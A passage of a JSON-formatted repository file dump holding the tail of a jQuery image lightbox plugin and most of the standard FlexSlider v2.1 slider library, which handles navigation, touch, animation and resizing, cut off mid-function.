17\n\t\t\t\t\t$('#Choco_container_description').css('visibility','visible');\n\t\t\t\t\t$('#Choco_close').fadeIn(settings.fadeInImageduration);\n\t\t\t\t}\n\t\t\t}).\n\t\t\tcss('overflow', 'visible');\n\t\t}\n\t\tfunction arrowsManaging(){\n\t\t\tif(settings.linkImages){\n\t\t\t\tvar what = ['Choco_right_arrow','Choco_left_arrow'];\n\t\t\t\tfor(var i=0; i < what.length; i++){\n\t\t\t\t\thide = false;\n\t\t\t\t\tif(what[i] == 'Choco_right_arrow' && settings.currentImage == settings.lastImage){\n\t\t\t\t\t\thide = true;\n\t\t\t\t\t\t$('#'+what[i]).fadeOut(300);\n\t\t\t\t\t}\n\t\t\t\t\telse if(what[i] == 'Choco_left_arrow' && settings.currentImage == 0){\n\t\t\t\t\t\thide = true;\n\t\t\t\t\t\t$('#'+what[i]).fadeOut(300);\n\t\t\t\t\t}\n\t\t\t\t\tif(!hide){\n\t\t\t\t\t\t$('#'+what[i]).fadeIn(settings.fadeOutImageduration);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfunction preload(){\n\t\t\tif(settings.currentImage !== settings.lastImage){\n\t\t\t\ti = new Image;\n\t\t\t\tz = settings.currentImage + 1;\n\t\t\t\ti.src = images[settings.setIndex][z]['adress'];\n\t\t\t}\n\t\t}\n\t\tfunction upadteDescription(){\n\t\t\tvar current = settings.currentImage + 1;\n\t\t\tvar last = settings.lastImage + 1;\n\t\t\t$('#Choco_container_title').html(images[settings.setIndex][settings.currentImage]['caption']);\n\t\t\t$('#Choco_container_via').html(settings.setTitle+settings.separator1+current +settings.separator2+last);\n\t\t}\n\t\tfunction isSet(variable,defaultValue){\n\t\t\t// return variable === undefined ? defaultValue : variable; ?\n\t\t\tif (variable === undefined) {\n\t\t\t\treturn defaultValue;\n\t\t\t}\n\t\t\telse{\n\t\t\t\treturn variable;\n\t\t\t}\n\t\t}\n\t\tfunction iWantThePerfectImageSize(himg,limg){\n\t\t\t//28% = 14% + 14% margin\n\t\t\tvar lblock             = limg + (limg*28/100);\n\t\t\tvar heightDescAndClose = $('#Choco_container_description').height()+$('#Choco_close').height();\n\t\t\tvar hblock             = himg + heightDescAndClose;\n\t\t\tvar k                  = limg/himg;\n\t\t\tvar kk                 = himg/limg;\n\t\t\tif(settings.container.get(0).nodeName.toLowerCase() == 'body'){\n\t\t\t\twindowHeight = $(window).height();\n\t\t\t\twindowWidth  = $(window).width();\n\t\t\t}\n\t\t\telse{\n\t\t\t\twindowHeight = settings.container.height();\n\t\t\t\twindowWidth  = settings.container.width();\n\t\t\t}\n\t\t\tnotFitting = true;\n\t\t\t\twhile (notFitting){\n\t\t\t\tvar lblock = limg + (limg*28/100);\n\t\t\t\tvar hblock = himg + heightDescAndClose;\n\t\t\t\t\tif(lblock > windowWidth){\n\t\t\t\t\t\tlimg = windowWidth*100/128;\n\t\t\t\t\t\t\n\t\t\t\t\t\thimg = kk * limg;\n\t\t\t\t\t}else if(hblock > windowHeight){\n\t\t\t\t\t\thimg = (windowHeight - heightDescAndClose);\n\t\t\t\t\t\tlimg = k * himg;\n\t\t\t\t\t}else{\n\t\t\t\t\t\tnotFitting = false;\n\t\t\t\t\t};\n\t\t\t\t};\n\t\t\treturn {\n\t\t\t\tlargeur:limg,\n\t\t\t\thauteur:himg\n\t\t\t};\n\n\t\t}\n\t\tfunction clear(){\n\t\t\t$('#Choco_overlay').remove();\n\t\t\t$('#Choco_content').remove();\n\t\t}\n\t\tfunction close(){\n\t\t\t$('#Choco_overlay').fadeOut(900, function(){$('#Choco_overlay').remove()});\n\t\t\t$('#Choco_content').fadeOut(500, function(){$('#Choco_content').remove()});\n\t\t\tsettings.currentImage = 0;\n\t\t}\n\t\n};\n})(jQuery);\n"
  },
  {
    "path": "web_simplecms/simplecms/js/jquery.flexslider.js",
    "content": "/*\n * jQuery FlexSlider v2.1\n * http://www.woothemes.com/flexslider/\n *\n * Copyright 2012 WooThemes\n * Free to use under the GPLv2 license.\n * http://www.gnu.org/licenses/gpl-2.0.html\n *\n * Contributing author: Tyler Smith (@mbmufffin)\n */\n\n;(function ($) {\n\n  //FlexSlider: Object Instance\n  $.flexslider = function(el, options) {\n    var slider = $(el),\n        vars = $.extend({}, $.flexslider.defaults, options),\n        namespace = vars.namespace,\n        touch = (\"ontouchstart\" in window) || window.DocumentTouch && document instanceof DocumentTouch,\n        eventType = (touch) ? \"touchend\" : \"click\",\n        vertical = vars.direction === \"vertical\",\n        reverse = vars.reverse,\n        carousel = (vars.itemWidth > 0),\n        fade = vars.animation === \"fade\",\n        asNav = vars.asNavFor !== \"\",\n        methods = {};\n    \n    // Store a reference to the slider object\n    $.data(el, \"flexslider\", slider);\n    \n    // Privat slider methods\n    methods = {\n      init: function() {\n        slider.animating = false;\n        slider.currentSlide = vars.startAt;\n        slider.animatingTo = slider.currentSlide;\n        slider.atEnd = (slider.currentSlide === 0 || slider.currentSlide === slider.last);\n        slider.containerSelector = vars.selector.substr(0,vars.selector.search(' '));\n        slider.slides = $(vars.selector, slider);\n        slider.container = $(slider.containerSelector, slider);\n        slider.count = slider.slides.length;\n        // SYNC:\n        slider.syncExists = $(vars.sync).length > 0;\n        // SLIDE:\n        if (vars.animation === \"slide\") vars.animation = \"swing\";\n        slider.prop = (vertical) ? \"top\" : \"marginLeft\";\n        slider.args = {};\n        // SLIDESHOW:\n        slider.manualPause = false;\n        // TOUCH/USECSS:\n        slider.transitions = !vars.video && !fade && vars.useCSS && (function() {\n          var obj = document.createElement('div'),\n              props = ['perspectiveProperty', 'WebkitPerspective', 'MozPerspective', 'OPerspective', 'msPerspective'];\n          for (var i in props) {\n            if ( obj.style[ props[i] ] !== undefined ) {\n              slider.pfx = props[i].replace('Perspective','').toLowerCase();\n              slider.prop = \"-\" + slider.pfx + \"-transform\";\n              return true;\n            }\n          }\n          return false;\n        }());\n        // CONTROLSCONTAINER:\n        if (vars.controlsContainer !== \"\") slider.controlsContainer = $(vars.controlsContainer).length > 0 && $(vars.controlsContainer);\n        // MANUAL:\n        if (vars.manualControls !== \"\") slider.manualControls = $(vars.manualControls).length > 0 && $(vars.manualControls);\n        \n        // RANDOMIZE:\n        if (vars.randomize) {\n          slider.slides.sort(function() { return (Math.round(Math.random())-0.5); });\n          slider.container.empty().append(slider.slides);\n        }\n        \n        slider.doMath();\n        \n        // ASNAV:\n        if (asNav) methods.asNav.setup();\n        \n        // INIT\n        slider.setup(\"init\");\n        \n        // CONTROLNAV:\n        if (vars.controlNav) methods.controlNav.setup();\n        \n        // DIRECTIONNAV:\n        if (vars.directionNav) methods.directionNav.setup();\n        \n        // KEYBOARD:\n        if (vars.keyboard && ($(slider.containerSelector).length === 1 || vars.multipleKeyboard)) {\n          $(document).bind('keyup', function(event) {\n            var keycode = event.keyCode;\n            if (!slider.animating && (keycode === 39 || keycode === 37)) {\n              var target = (keycode === 39) ? slider.getTarget('next') :\n                           (keycode === 37) ? slider.getTarget('prev') : false;\n              slider.flexAnimate(target, vars.pauseOnAction);\n            }\n          });\n        }\n        // MOUSEWHEEL:\n        if (vars.mousewheel) {\n          slider.bind('mousewheel', function(event, delta, deltaX, deltaY) {\n            event.preventDefault();\n            var target = (delta < 0) ? slider.getTarget('next') : slider.getTarget('prev');\n            slider.flexAnimate(target, vars.pauseOnAction);\n          });\n        }\n        \n        // PAUSEPLAY\n        if (vars.pausePlay) methods.pausePlay.setup();\n        \n        // SLIDSESHOW\n        if (vars.slideshow) {\n          if (vars.pauseOnHover) {\n            slider.hover(function() {\n              if (!slider.manualPlay && !slider.manualPause) slider.pause();\n            }, function() {\n              if (!slider.manualPause && !slider.manualPlay) slider.play();\n            });\n          }\n          // initialize animation\n          (vars.initDelay > 0) ? setTimeout(slider.play, vars.initDelay) : slider.play();\n        }\n        \n        // TOUCH\n        if (touch && vars.touch) methods.touch();\n        \n        // FADE&&SMOOTHHEIGHT || SLIDE:\n        if (!fade || (fade && vars.smoothHeight)) $(window).bind(\"resize focus\", methods.resize);\n        \n        \n        // API: start() Callback\n        setTimeout(function(){\n          vars.start(slider);\n        }, 200);\n      },\n      asNav: {\n        setup: function() {\n          slider.asNav = true;\n          slider.animatingTo = Math.floor(slider.currentSlide/slider.move);\n          slider.currentItem = slider.currentSlide;\n          slider.slides.removeClass(namespace + \"active-slide\").eq(slider.currentItem).addClass(namespace + \"active-slide\");\n          slider.slides.click(function(e){\n            e.preventDefault();\n            var $slide = $(this),\n                target = $slide.index();\n            if (!$(vars.asNavFor).data('flexslider').animating && !$slide.hasClass('active')) {\n              slider.direction = (slider.currentItem < target) ? \"next\" : \"prev\";\n              slider.flexAnimate(target, vars.pauseOnAction, false, true, true);\n            }\n          });\n        }\n      },\n      controlNav: {\n        setup: function() {\n          if (!slider.manualControls) {\n            methods.controlNav.setupPaging();\n          } else { // MANUALCONTROLS:\n            methods.controlNav.setupManual();\n          }\n        },\n        setupPaging: function() {\n          var type = (vars.controlNav === \"thumbnails\") ? 'control-thumbs' : 'control-paging',\n              j = 1,\n              item;\n          \n          slider.controlNavScaffold = $('<ol class=\"'+ namespace + 'control-nav ' + namespace + type + '\"></ol>');\n          \n          if (slider.pagingCount > 1) {\n            for (var i = 0; i < slider.pagingCount; i++) {\n              item = (vars.controlNav === \"thumbnails\") ? '<img src=\"' + slider.slides.eq(i).attr(\"data-thumb\") + '\"/>' : '<a>' + j + '</a>';\n              slider.controlNavScaffold.append('<li>' + item + '</li>');\n              j++;\n            }\n          }\n          \n          // CONTROLSCONTAINER:\n          (slider.controlsContainer) ? $(slider.controlsContainer).append(slider.controlNavScaffold) : slider.append(slider.controlNavScaffold);\n          methods.controlNav.set();\n          \n          methods.controlNav.active();\n        \n          slider.controlNavScaffold.delegate('a, img', eventType, function(event) {\n            event.preventDefault();\n            var $this = $(this),\n                target = slider.controlNav.index($this);\n\n            if (!$this.hasClass(namespace + 'active')) {\n              slider.direction = (target > slider.currentSlide) ? \"next\" : \"prev\";\n              slider.flexAnimate(target, vars.pauseOnAction);\n            }\n          });\n          // Prevent iOS click event bug\n          if (touch) {\n            slider.controlNavScaffold.delegate('a', \"click touchstart\", function(event) {\n              event.preventDefault();\n            });\n          }\n        },\n        setupManual: function() {\n          slider.controlNav = slider.manualControls;\n          methods.controlNav.active();\n          \n          slider.controlNav.live(eventType, function(event) {\n            event.preventDefault();\n            var $this = $(this),\n                target = slider.controlNav.index($this);\n                \n            if (!$this.hasClass(namespace + 'active')) {\n              (target > slider.currentSlide) ? slider.direction = \"next\" : slider.direction = \"prev\";\n              slider.flexAnimate(target, vars.pauseOnAction);\n            }\n          });\n          // Prevent iOS click event bug\n          if (touch) {\n            slider.controlNav.live(\"click touchstart\", function(event) {\n              event.preventDefault();\n            });\n          }\n        },\n        set: function() {\n          var selector = (vars.controlNav === \"thumbnails\") ? 'img' : 'a';\n          slider.controlNav = $('.' + namespace + 'control-nav li ' + selector, (slider.controlsContainer) ? slider.controlsContainer : slider);\n        },\n        active: function() {\n          slider.controlNav.removeClass(namespace + \"active\").eq(slider.animatingTo).addClass(namespace + \"active\");\n        },\n        update: function(action, pos) {\n          if (slider.pagingCount > 1 && action === \"add\") {\n            slider.controlNavScaffold.append($('<li><a>' + slider.count + '</a></li>'));\n          } else if (slider.pagingCount === 1) {\n            slider.controlNavScaffold.find('li').remove();\n          } else {\n            slider.controlNav.eq(pos).closest('li').remove();\n          }\n          methods.controlNav.set();\n          (slider.pagingCount > 1 && slider.pagingCount !== slider.controlNav.length) ? slider.update(pos, action) : methods.controlNav.active();\n        }\n      },\n      directionNav: {\n        setup: function() {\n          var directionNavScaffold = $('<ul class=\"' + namespace + 'direction-nav\"><li><a class=\"' + namespace + 'prev\" href=\"#\">' + vars.prevText + '</a></li><li><a class=\"' + namespace + 'next\" href=\"#\">' + vars.nextText + '</a></li></ul>');\n        \n          // CONTROLSCONTAINER:\n          if (slider.controlsContainer) {\n            $(slider.controlsContainer).append(directionNavScaffold);\n            slider.directionNav = $('.' + namespace + 'direction-nav li a', slider.controlsContainer);\n          } else {\n            slider.append(directionNavScaffold);\n            slider.directionNav = $('.' + namespace + 'direction-nav li a', slider);\n          }\n        \n          methods.directionNav.update();\n        \n          slider.directionNav.bind(eventType, function(event) {\n            event.preventDefault();\n            var target = ($(this).hasClass(namespace + 'next')) ? slider.getTarget('next') : slider.getTarget('prev');\n            slider.flexAnimate(target, vars.pauseOnAction);\n          });\n          // Prevent iOS click event bug\n          if (touch) {\n            slider.directionNav.bind(\"click touchstart\", function(event) {\n              event.preventDefault();\n            });\n          }\n        },\n        update: function() {\n          var disabledClass = namespace + 'disabled';\n          if (slider.pagingCount === 1) {\n            slider.directionNav.addClass(disabledClass);\n          } else if (!vars.animationLoop) {\n            if (slider.animatingTo === 0) {\n              slider.directionNav.removeClass(disabledClass).filter('.' + namespace + \"prev\").addClass(disabledClass);\n            } else if (slider.animatingTo === slider.last) {\n              slider.directionNav.removeClass(disabledClass).filter('.' + namespace + \"next\").addClass(disabledClass);\n            } else {\n              slider.directionNav.removeClass(disabledClass);\n            }\n          } else {\n            slider.directionNav.removeClass(disabledClass);\n          }\n        }\n      },\n      pausePlay: {\n        setup: function() {\n          var pausePlayScaffold = $('<div class=\"' + namespace + 'pauseplay\"><a></a></div>');\n        \n          // CONTROLSCONTAINER:\n          if (slider.controlsContainer) {\n            slider.controlsContainer.append(pausePlayScaffold);\n            slider.pausePlay = $('.' + namespace + 'pauseplay a', slider.controlsContainer);\n          } else {\n            slider.append(pausePlayScaffold);\n            slider.pausePlay = $('.' + namespace + 'pauseplay a', slider);\n          }\n\n          methods.pausePlay.update((vars.slideshow) ? namespace + 'pause' : namespace + 'play');\n\n          slider.pausePlay.bind(eventType, function(event) {\n            event.preventDefault();\n            if ($(this).hasClass(namespace + 'pause')) {\n              slider.manualPause = true;\n              slider.manualPlay = false;\n              slider.pause();\n            } else {\n              slider.manualPause = false;\n              slider.manualPlay = true;\n              slider.play();\n            }\n          });\n          // Prevent iOS click event bug\n          if (touch) {\n            slider.pausePlay.bind(\"click touchstart\", function(event) {\n              event.preventDefault();\n            });\n          }\n        },\n        update: function(state) {\n          (state === \"play\") ? slider.pausePlay.removeClass(namespace + 'pause').addClass(namespace + 'play').text(vars.playText) : slider.pausePlay.removeClass(namespace + 'play').addClass(namespace + 'pause').text(vars.pauseText);\n        }\n      },\n      touch: function() {\n        var startX,\n          startY,\n          offset,\n          cwidth,\n          dx,\n          startT,\n          scrolling = false;\n              \n        el.addEventListener('touchstart', onTouchStart, false);\n        function onTouchStart(e) {\n          if (slider.animating) {\n            e.preventDefault();\n          } else if (e.touches.length === 1) {\n            slider.pause();\n            // CAROUSEL: \n            cwidth = (vertical) ? slider.h : slider. w;\n            startT = Number(new Date());\n            // CAROUSEL:\n            offset = (carousel && reverse && slider.animatingTo === slider.last) ? 0 :\n                     (carousel && reverse) ? slider.limit - (((slider.itemW + vars.itemMargin) * slider.move) * slider.animatingTo) :\n                     (carousel && slider.currentSlide === slider.last) ? slider.limit :\n                     (carousel) ? ((slider.itemW + vars.itemMargin) * slider.move) * slider.currentSlide : \n                     (reverse) ? (slider.last - slider.currentSlide + slider.cloneOffset) * cwidth : (slider.currentSlide + slider.cloneOffset) * cwidth;\n            startX = (vertical) ? e.touches[0].pageY : e.touches[0].pageX;\n            startY = (vertical) ? e.touches[0].pageX : e.touches[0].pageY;\n\n            el.addEventListener('touchmove', onTouchMove, false);\n            el.addEventListener('touchend', onTouchEnd, false);\n          }\n        }\n\n        function onTouchMove(e) {\n          dx = (vertical) ? startX - e.touches[0].pageY : startX - e.touches[0].pageX;\n          scrolling = (vertical) ? (Math.abs(dx) < Math.abs(e.touches[0].pageX - startY)) : (Math.abs(dx) < Math.abs(e.touches[0].pageY - startY));\n          \n          if (!scrolling || Number(new Date()) - startT > 500) {\n            e.preventDefault();\n            if (!fade && slider.transitions) {\n              if (!vars.animationLoop) {\n                dx = dx/((slider.currentSlide === 0 && dx < 0 || slider.currentSlide === slider.last && dx > 0) ? (Math.abs(dx)/cwidth+2) : 1);\n              }\n              slider.setProps(offset + dx, \"setTouch\");\n            }\n          }\n        }\n        \n        function onTouchEnd(e) {\n          // finish the touch by undoing the touch session\n          el.removeEventListener('touchmove', onTouchMove, false);\n          \n          if (slider.animatingTo === slider.currentSlide && !scrolling && !(dx === null)) {\n            var updateDx = (reverse) ? -dx : dx,\n                target = (updateDx > 0) ? slider.getTarget('next') : slider.getTarget('prev');\n            \n            if (slider.canAdvance(target) && (Number(new Date()) - startT < 550 && Math.abs(updateDx) > 50 || Math.abs(updateDx) > cwidth/2)) {\n              slider.flexAnimate(target, vars.pauseOnAction);\n            } else {\n              if (!fade) slider.flexAnimate(slider.currentSlide, vars.pauseOnAction, true);\n            }\n          }\n          el.removeEventListener('touchend', onTouchEnd, false);\n          startX = null;\n          startY = null;\n          dx = null;\n          offset = null;\n        }\n      },\n      resize: function() {\n        if (!slider.animating && slider.is(':visible')) {\n          if (!carousel) slider.doMath();\n          \n          if (fade) {\n            // SMOOTH HEIGHT:\n            methods.smoothHeight();\n          } else if (carousel) { //CAROUSEL:\n            slider.slides.width(slider.computedW);\n            slider.update(slider.pagingCount);\n            slider.setProps();\n          }\n          else if (vertical) { //VERTICAL:\n            slider.viewport.height(slider.h);\n            slider.setProps(slider.h, \"setTotal\");\n          } else {\n            // SMOOTH HEIGHT:\n            if (vars.smoothHeight) methods.smoothHeight();\n            slider.newSlides.width(slider.computedW);\n            slider.setProps(slider.computedW, \"setTotal\");\n          }\n        }\n      },\n      smoothHeight: function(dur) {\n        if (!vertical || fade) {\n          var $obj = (fade) ? slider : slider.viewport;\n          (dur) ? $obj.animate({\"height\": slider.slides.eq(slider.animatingTo).height()}, dur) : $obj.height(slider.slides.eq(slider.animatingTo).height());\n        }\n      },\n      sync: function(action) {\n        var $obj = $(vars.sync).data(\"flexslider\"),\n            target = slider.animatingTo;\n        \n        switch (action) {\n          case \"animate\": $obj.flexAnimate(target, vars.pauseOnAction, false, true); break;\n          case \"play\": if (!$obj.playing && !$obj.asNav) { $obj.play(); } break;\n          case \"pause\": $obj.pause(); break;\n        }\n      }\n    }\n    \n    // public methods\n    slider.flexAnimate = function(target, pause, override, withSync, fromNav) {\n      if (asNav && slider.pagingCount === 1) slider.direction = (slider.currentItem < target) ? \"next\" : \"prev\";\n      \n      if (!slider.animating && (slider.canAdvance(target, fromNav) || override) && slider.is(\":visible\")) {\n        if (asNav && withSync) {\n          var master = $(vars.asNavFor).data('flexslider');\n          slider.atEnd = target === 0 || target === slider.count - 1;\n          master.flexAnimate(target, true, false, true, fromNav);\n          slider.direction = (slider.currentItem < target) ? \"next\" : \"prev\";\n          master.direction = slider.direction;\n          \n          if (Math.ceil((target + 1)/slider.visible) - 1 !== slider.currentSlide && target !== 0) {\n            slider.currentItem = target;\n            slider.slides.removeClass(namespace + \"active-slide\").eq(target).addClass(namespace + \"active-slide\");\n            target = Math.floor(target/slider.visible);\n          } else {\n            slider.currentItem = target;\n            slider.slides.removeClass(namespace + \"active-slide\").eq(target).addClass(namespace + \"active-slide\");\n            return false;\n          }\n        }\n        \n        slider.animating = true;\n        slider.animatingTo = target;\n        // API: before() animation Callback\n        vars.before(slider);\n        \n        // SLIDESHOW:\n        if (pause) slider.pause();\n        \n        // SYNC:\n        if (slider.syncExists && !fromNav) methods.sync(\"animate\");\n        \n        // CONTROLNAV\n        if (vars.controlNav) methods.controlNav.active();\n        \n        // !CAROUSEL:\n        // CANDIDATE: slide active class (for add/remove slide)\n        if (!carousel) slider.slides.removeClass(namespace + 'active-slide').eq(target).addClass(namespace + 'active-slide');\n        \n        // INFINITE LOOP:\n        // CANDIDATE: atEnd\n        slider.atEnd = target === 0 || target === slider.last;\n        \n        // DIRECTIONNAV:\n        if (vars.directionNav) methods.directionNav.update();\n        \n        if (target === slider.last) {\n          // API: end() of cycle Callback\n          vars.end(slider);\n          // SLIDESHOW && !INFINITE LOOP:\n          if (!vars.animationLoop) slider.pause();\n        }\n        \n        // SLIDE:\n        if (!fade) {\n          var dimension = (vertical) ? slider.slides.filter(':first').height() : slider.computedW,\n              margin, slideString, calcNext;\n          \n          // INFINITE LOOP / REVERSE:\n          if (carousel) {\n            margin = (vars.itemWidth > slider.w) ? vars.itemMargin * 2 : vars.itemMargin;\n            calcNext = ((slider.itemW + margin) * slider.move) * slider.animatingTo;\n            slideString = (calcNext > slider.limit && slider.visible !== 1) ? slider.limit : calcNext;\n          } else if (slider.currentSlide === 0 && target === slider.count - 1 && vars.animationLoop && slider.direction !== \"next\") {\n            slideString = (reverse) ? (slider.count + slider.cloneOffset) * dimension : 0;\n          } else if (slider.currentSlide === slider.last && target === 0 && vars.animationLoop && slider.direction !== \"prev\") {\n            slideString = (reverse) ? 0 : (slider.count + 1) * dimension;\n          } else {\n            slideString = (reverse) ? ((slider.count - 1) - target + slider.cloneOffset) * dimension : (target + slider.cloneOffset) * dimension;\n          }\n          slider.setProps(slideString, \"\", vars.animationSpeed);\n          if (slider.transitions) {\n            if (!vars.animationLoop || !slider.atEnd) {\n              slider.animating = false;\n              slider.currentSlide = slider.animatingTo;\n            }\n            slider.container.unbind(\"webkitTransitionEnd transitionend\");\n            slider.container.bind(\"webkitTransitionEnd transitionend\", function() {\n              slider.wrapup(dimension);\n            });\n          } else {\n            slider.container.animate(slider.args, vars.animationSpeed, vars.easing, function(){\n              slider.wrapup(dimension);\n            });\n          }\n        } else { // FADE:\n          if (!touch) {\n            slider.slides.eq(slider.currentSlide).fadeOut(vars.animationSpeed, vars.easing);\n            slider.slides.eq(target).fadeIn(vars.animationSpeed, vars.easing, slider.wrapup);\n          } else {\n            slider.slides.eq(slider.currentSlide).css({ \"opacity\": 0, \"zIndex\": 1 });\n            slider.slides.eq(target).css({ \"opacity\": 1, \"zIndex\": 2 });\n            \n            slider.slides.unbind(\"webkitTransitionEnd transitionend\");\n            slider.slides.eq(slider.currentSlide).bind(\"webkitTransitionEnd transitionend\", function() {\n              // API: after() animation Callback\n              vars.after(slider);\n            });\n            \n            slider.animating = false;\n            slider.currentSlide = slider.animatingTo;\n          }\n        }\n        // SMOOTH HEIGHT:\n        if (vars.smoothHeight) methods.smoothHeight(vars.animationSpeed);\n      }\n    } \n    slider.wrapup = function(dimension) {\n      // SLIDE:\n      if (!fade && !carousel) {\n        if (slider.currentSlide === 0 && slider.animatingTo === slider.last && vars.animationLoop) {\n          slider.setProps(dimension, \"jumpEnd\");\n        } else if (slider.currentSlide === slider.last && slider.animatingTo === 0 && vars.animationLoop) {\n          slider.setProps(dimension, \"jumpStart\");\n        }\n      }\n      slider.animating = false;\n      slider.currentSlide = slider.animatingTo;\n      // API: after() animation Callback\n      vars.after(slider);\n    }\n    \n    // SLIDESHOW:\n    slider.animateSlides = function() {\n      if (!slider.animating) slider.flexAnimate(slider.getTarget(\"next\"));\n    }\n    // SLIDESHOW:\n    slider.pause = function() {\n      clearInterval(slider.animatedSlides);\n      slider.playing = false;\n      // PAUSEPLAY:\n      if (vars.pausePlay) methods.pausePlay.update(\"play\");\n      // SYNC:\n      if (slider.syncExists) methods.sync(\"pause\");\n    }\n    // SLIDESHOW:\n    slider.play = function() {\n      slider.animatedSlides = setInterval(slider.animateSlides, vars.slideshowSpeed);\n      slider.playing = true;\n      // PAUSEPLAY:\n      if (vars.pausePlay) methods.pausePlay.update(\"pause\");\n      // SYNC:\n      if (slider.syncExists) methods.sync(\"play\");\n    }\n    slider.canAdvance = function(target, fromNav) {\n      // ASNAV:\n      var last = (asNav) ? slider.pagingCount - 1 : slider.last;\n      return (fromNav) ? true :\n             (asNav && slider.currentItem === slider.count - 1 && target === 0 && slider.direction === \"prev\") ? true :\n             (asNav && slider.currentItem === 0 && target === slider.pagingCount - 1 && slider.direction !== \"next\") ? false :\n             (target === slider.currentSlide && !asNav) ? false :\n             (vars.animationLoop) ? true :\n             (slider.atEnd && slider.currentSlide === 0 && target === last && slider.direction !== \"next\") ? false :\n             (slider.atEnd && slider.currentSlide === last && target === 0 && slider.direction === \"next\") ? false :\n             true;\n    }\n    slider.getTarget = function(dir) {\n      slider.direction = dir; \n      if (dir === \"next\") {\n        return (slider.currentSlide === slider.last) ? 0 : slider.currentSlide + 1;\n      } else {\n        return (slider.currentSlide === 0) ? slider.last : slider.currentSlide - 1;\n      }\n    }\n    \n    // SLIDE:\n    slider.setProps = function(pos, special, dur) {\n      var target = (function() {\n        var posCheck = (pos) ? pos : ((slider.itemW + vars.itemMargin) * slider.move) * slider.animatingTo,\n            posCalc = (function() {\n              if (carousel) {\n                return (special === \"setTouch\") ? pos :\n                       (reverse && slider.animatingTo === slider.last) ? 0 :\n                       (reverse) ? slider.limit - (((slider.itemW + vars.itemMargin) * slider.move) * slider.animatingTo) :\n                       (slider.animatingTo === slider.last) ? slider.limit : posCheck;\n              } else {\n                switch (special) {\n                  case \"setTotal\": return (reverse) ? ((slider.count - 1) - slider.currentSlide + slider.cloneOffset) * pos : (slider.currentSlide + slider.cloneOffset) * pos;\n                  case \"setTouch\": return (reverse) ? pos : pos;\n                  case \"jumpEnd\": return (reverse) ? pos : slider.count * pos;\n                  case \"jumpStart\": return (reverse) ? slider.count * pos : pos;\n                  default: return pos;\n                }\n              }\n            }());\n            return (posCalc * -1) + \"px\";\n          }());\n\n      if (slider.transitions) {\n        target = (vertical) ? \"translate3d(0,\" + target + \",0)\" : \"translate3d(\" + target + \",0,0)\";\n        dur = (dur !== undefined) ? (dur/1000) + \"s\" : \"0s\";\n        slider.container.css(\"-\" + slider.pfx + \"-transition-duration\", dur);\n      }\n      \n      slider.args[slider.prop] = target;\n      if (slider.transitions || dur === undefined) slider.container.css(slider.args);\n    }\n    \n    slider.setup = function(type) {\n      // SLIDE:\n      if (!fade) {\n        var sliderOffset, arr;\n            \n        if (type === \"init\") {\n          slider.viewport = $('<div class=\"' + namespace + 'viewport\"></div>').css({\"overflow\": \"hidden\", \"position\": \"relative\"}).appendTo(slider).append(slider.container);\n          // INFINITE LOOP:\n          slider.cloneCount = 0;\n          slider.cloneOffset = 0;\n          // REVERSE:\n          if (reverse) {\n            arr = $.makeArray(slider.slides).reverse();\n            slider.slides = $(arr);\n            slider.container.empty().append(slider.slides);\n          }\n        }\n        // INFINITE LOOP && !CAROUSEL:\n        if (vars.animationLoop && !carousel) {\n          slider.cloneCount = 2;\n          slider.cloneOffset = 1;\n          // clear out old clones\n          if (type !== \"init\") slider.container.find('.clone').remove();\n          slider.container.append(slider.slides.first().clone().addClass('clone')).prepend(slider.slides.last().clone().addClass('clone'));\n        }\n        slider.newSlides = $(vars.selector, slider);\n        \n        sliderOffset = (reverse) ? slider.count - 1 - slider.currentSlide + slider.cloneOffset : slider.currentSlide + slider.cloneOffset;\n        // VERTICAL:\n        if (vertical && !carousel) {\n          slider.container.height((slider.count + slider.cloneCount) * 200 + \"%\").css(\"position\", \"absolute\").width(\"100%\");\n          setTimeout(function(){\n            slider.newSlides.css({\"display\": \"block\"});\n            slider.doMath();\n            slider.viewport.height(slider.h);\n            slider.setProps(sliderOffset * slider.h, \"init\");\n          }, (type === \"init\") ? 100 : 0);\n        } else {\n          slider.container.width((slider.count + slider.cloneCount) * 200 + \"%\");\n          slider.setProps(sliderOffset * slider.computedW, \"init\");\n          setTimeout(function(){\n            slider.doMath();\n            slider.newSlides.css({\"width\": slider.computedW, \"float\": \"left\", \"display\": \"block\"});\n            // SMOOTH HEIGHT:\n            if (vars.smoothHeight) methods.smoothHeight();\n          }, (type === \"init\") ? 100 : 0);\n        }\n      } else { // FADE: \n        slider.slides.css({\"width\": \"100%\", \"float\": \"left\", \"marginRight\": \"-100%\", \"position\": \"relative\"});\n        if (type === \"init\") {\n          if (!touch) {\n            slider.slides.eq(slider.currentSlide).fadeIn(vars.animationSpeed, vars.easing);\n          } else {\n            slider.slides.css({ \"opacity\": 0, \"display\": \"block\", \"webkitTransition\": \"opacity \" + vars.animationSpeed / 1000 + \"s ease\", \"zIndex\": 1 }).eq(slider.currentSlide).css({ \"opacity\": 1, \"zIndex\": 2});\n          }\n        }\n        // SMOOTH HEIGHT:\n        if (vars.smoothHeight) methods.smoothHeight();\n      }\n      // !CAROUSEL:\n      // CANDIDATE: active slide\n      if (!carousel) slider.slides.removeClass(namespace + \"active-slide\").eq(slider.currentSlide).addClass(namespace + \"active-slide\");\n    }\n    \n    slider.doMath = function() {\n      var slide = slider.slides.first(),\n          slideMargin = vars.itemMargin,\n          minItems = vars.minItems,\n          maxItems = vars.maxItems;\n      \n      slider.w = slider.width();\n      slider.h = slide.height();\n      slider.boxPadding = slide.outerWidth() - slide.width();\n\n      // CAROUSEL:\n      if (carousel) {\n        slider.itemT = vars.itemWidth + slideMargin;\n        slider.minW = (minItems) ? minItems * slider.itemT : slider.w;\n        slider.maxW = (maxItems) ? maxItems * slider.itemT : slider.w;\n        slider.itemW = (slider.minW > slider.w) ? (slider.w - (slideMargin * minItems))/minItems :\n                       (slider.maxW < slider.w) ? (slider.w - (slideMargin * maxItems))/maxItems :\n                       (vars.itemWidth > slider.w) ? slider.w : vars.itemWidth;\n        slider.visible = Math.floor(slider.w/(slider.itemW + slideMargin));\n        slider.move = (vars.move > 0 && vars.move < slider.visible ) ? vars.move : slider.visible;\n        slider.pagingCount = Math.ceil(((slider.count - slider.visible)/slider.move) + 1);\n        slider.last =  slider.pagingCount - 1;\n        slider.limit = (slider.pagingCount === 1) ? 0 :\n                       (vars.itemWidth > slider.w) ? ((slider.itemW + (slideMargin * 2)) * slider.count) - slider.w - slideMargin : ((slider.itemW + slideMargin) * slider.count) - slider.w - slideMargin;\n      } else {\n        slider.itemW = slider.w;\n        slider.pagingCount = slider.count;\n        